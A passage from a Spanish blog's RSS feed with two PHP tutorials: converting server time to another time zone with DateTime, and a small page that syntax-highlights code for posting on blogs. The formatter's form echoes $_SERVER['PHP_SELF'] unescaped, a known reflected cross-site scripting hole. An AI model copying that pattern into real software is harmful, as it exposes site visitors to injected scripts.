style="color: #DD0000"&gt;'America/hermosillo'&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$dateTime&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;new&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;DateTime&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'2011-04-26&amp;nbsp;00:00'&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$dateTime&lt;/span&gt;&lt;span style="color: #007700"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;setTimeZone&lt;/span&gt;&lt;span style="color: #007700"&gt;(new&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;DateTimeZone&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$timeZone&lt;/span&gt;&lt;span style="color: #007700"&gt;));&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$local_time&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$dateTime&lt;/span&gt;&lt;span style="color: #007700"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;format&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'d/m/Y&amp;nbsp;H:i'&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"Time&amp;nbsp;at&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$timeZone&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;":&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$local_time&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;10&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;will&amp;nbsp;produce&amp;nbsp;something&amp;nbsp;like&amp;nbsp;this&lt;br /&gt;&lt;b style='color:#888!important;'&gt;11&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;(in&amp;nbsp;a&amp;nbsp;Server&amp;nbsp;at&amp;nbsp;'Europe/Madrid')&lt;br /&gt;&lt;b style='color:#888!important;'&gt;12&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&lt;br /&gt;&lt;b style='color:#888!important;'&gt;13&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;Time&amp;nbsp;at&amp;nbsp;America/Hermosillo:&amp;nbsp;25/04/2011&amp;nbsp;15:00&lt;br /&gt;&lt;b style='color:#888!important;'&gt;14&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;15&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Es decir, resumiendo, el primer código que he presentado va excelente para calcular la hora en este momento en cualquier zona horaria del globo. Y el último código, nos es útil para calcular la hora en cualquier zona horaria a partir de cualquier otra fecha/hora de nuestro servidor ;)&lt;br /&gt;&lt;br /&gt;Estoy seguro que a más de uno le ayudará esto. Aunque en realidad sé que la cosa aún puede complicarse más, y de hecho, si uno quiere que su aplicación web sea realmente "multi-horaria" (para el visitante, para la base de datos, etc...) la cosa puede ser un tanto surrealista. Una buena recomendación al respecto que leí hace unos meses es: guardar en tu base de datos fechas y horas en formato GMT, para a partir de ahí "traducirlo" al uso horario que necesites en cada momento, independientemente de que coloques tu aplicación en un servidor de una zona horaria u otra. &lt;br /&gt;&lt;br /&gt;Suerte!&lt;br /&gt;Salud!&lt;br /&gt;SERGI</description><link>http://crear-paginas-web.blogspot.com/2011/04/manera-facil-de-saber-la-hora-actual-en.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>2</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-3703595602922787093</guid><pubDate>Fri, 08 Apr 2011 19:42:00 +0000</pubDate><atom:updated>2011-04-08T12:59:46.536-07:00</atom:updated><title>Formatear código para publicar en blog</title><description>&lt;span style="color: rgb(0, 153, 0);"&gt;Habrás llegado aquí posiblemente buscando cómo poder publicar trozos de código en los artículos de tu blog o en tu propia web de documentación de software, etc... Ya sabes: con colores que destaquen la sintaxis del código y hagan más legible el código que publicas.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pues bien, en mi caso me sucedió lo mismo. Y al final la solución aceptable que asumí para mi uso personal es la que comparto aquí con vosotros. Es un pequeño código de PHP que he colgado en uno de mis dominios y que podéis ver aquí abajo.&lt;br /&gt;&lt;br /&gt;¿Qué hace? simplemente muestra una casilla textarea para introducir el código que quieres formatear, pulsas un botón "send" y se recarga la página con otro textarea con él código ya formateado y listo para copiar y pegar en tu blog, además de mostrar debajo el aspecto de cómo quedará ;) Así puedes hacer varios "intentos" hasta que veas que te guste.&lt;br /&gt;&lt;br /&gt;No voy a echarme muchos méritos pero sí los que merezco: tomé de base un código muy parecido que hacía casi lo mismo, pero lo he mejorado en muchos aspectos, tanto en el formateado en sí como en la usabilidad de la "aplicación". Por ejemplo, el original no presentaba el segundo textarea para copiar y pegar el código sino que había que ver "el código fuente" de la página para copiarlo :( Y también tenía errores en el coloreado de los números de línea.&lt;br /&gt;&lt;br /&gt;En fin, disfrútenlo:&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;if(&amp;nbsp;!empty(&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$_POST&lt;/span&gt;&lt;span style="color: #007700"&gt;[&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'codigo'&lt;/span&gt;&lt;span style="color: #007700"&gt;]&amp;nbsp;)&amp;nbsp;)&amp;nbsp;{&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$_POST&lt;/span&gt;&lt;span style="color: #007700"&gt;[&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'codigo'&lt;/span&gt;&lt;span style="color: #007700"&gt;];&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;str_replace&lt;/span&gt;&lt;span style="color: #007700"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"\t"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;highlight_string&lt;/span&gt;&lt;span style="color: #007700"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;stripslashes&lt;/span&gt;&lt;span style="color: #007700"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;),&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;true&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$line&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;1&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$buffer&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;array();&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$cod&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;explode&lt;/span&gt;&lt;span style="color: #007700"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;br&amp;nbsp;/&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;foreach(&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$cod&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;as&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codLine&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;)&amp;nbsp;{&lt;br /&gt;&lt;b style='color:#888!important;'&gt;10&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$buffer&lt;/span&gt;&lt;span style="color: #007700"&gt;[]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;b&amp;nbsp;style='color:#888!important;'&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$line&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;"&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;.&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codLine&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;11&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$line&lt;/span&gt;&lt;span style="color: #007700"&gt;++;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;12&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;b style='color:#888!important;'&gt;13&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;implode&lt;/span&gt;&lt;span style="color: #007700"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;br&amp;nbsp;/&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$buffer&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;14&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;quit&amp;nbsp;ASCII&amp;nbsp;break&amp;nbsp;lines&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;15&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;str_replace&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"\r"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #DD0000"&gt;''&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;16&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;str_replace&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"\n"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #DD0000"&gt;''&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;17&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;HACK:&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;18&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;str_replace&lt;/span&gt;&lt;span style="color: #007700"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;b&amp;nbsp;style='color:#888!important;'&amp;gt;1&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;code&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;code&amp;gt;&amp;lt;b&amp;nbsp;style='color:#888!important;'&amp;gt;1&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;19&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;FRAME&amp;nbsp;DECORATION:&lt;br /&gt;&lt;b style='color:#888!important;'&gt;20&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;div&amp;nbsp;style='background-color:#eee;border:1px&amp;nbsp;#aaa&amp;nbsp;solid;padding:9px;margin:9px;'&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;/div&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;21&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;b style='color:#888!important;'&gt;22&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;23&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;lt;html&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;24&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;head&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;25&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;title&amp;gt;Format&amp;nbsp;Code&amp;lt;/title&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;26&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/head&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;27&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;body&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;28&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;29&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;div&amp;nbsp;style='width:600px;margin:5px&amp;nbsp;auto;line-height:1.3em;'&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;30&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;form&amp;nbsp;action="&lt;span style="color: #0000BB"&gt;&amp;lt;?php&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$_SERVER&lt;/span&gt;&lt;span style="color: #007700"&gt;[&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'PHP_SELF'&lt;/span&gt;&lt;span style="color: #007700"&gt;];&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;"&amp;nbsp;method="post"&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;31&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;h2&amp;gt;1.&amp;nbsp;Source&amp;nbsp;code&amp;lt;/h2&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;32&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;textarea&amp;nbsp;rows="7"&amp;nbsp;cols="80"&amp;nbsp;name="codigo"&amp;gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;33&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;htmlentities&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;stripslashes&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$_POST&lt;/span&gt;&lt;span style="color: #007700"&gt;[&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'codigo'&lt;/span&gt;&lt;span style="color: #007700"&gt;]));&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&amp;lt;/textarea&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;34&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;br&amp;nbsp;/&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;35&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;input&amp;nbsp;type="submit"&amp;nbsp;name="send"&amp;nbsp;value="Send&amp;nbsp;&amp;amp;darr;"&amp;nbsp;/&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;36&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/form&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;37&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;h2&amp;gt;2.&amp;nbsp;Formatted&amp;nbsp;code&amp;lt;/h2&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;38&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;textarea&amp;nbsp;rows="7"&amp;nbsp;cols="80"&amp;gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;39&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;htmlentities&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&lt;/span&gt;&lt;span style="color: #007700"&gt;);&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;nbsp;/&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;40&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;h2&amp;gt;3.&amp;nbsp;Preview&amp;lt;/h2&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;41&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$codigo&lt;/span&gt;&lt;span style="color: #007700"&gt;;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;42&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;43&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;44&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/body&amp;gt;&lt;br 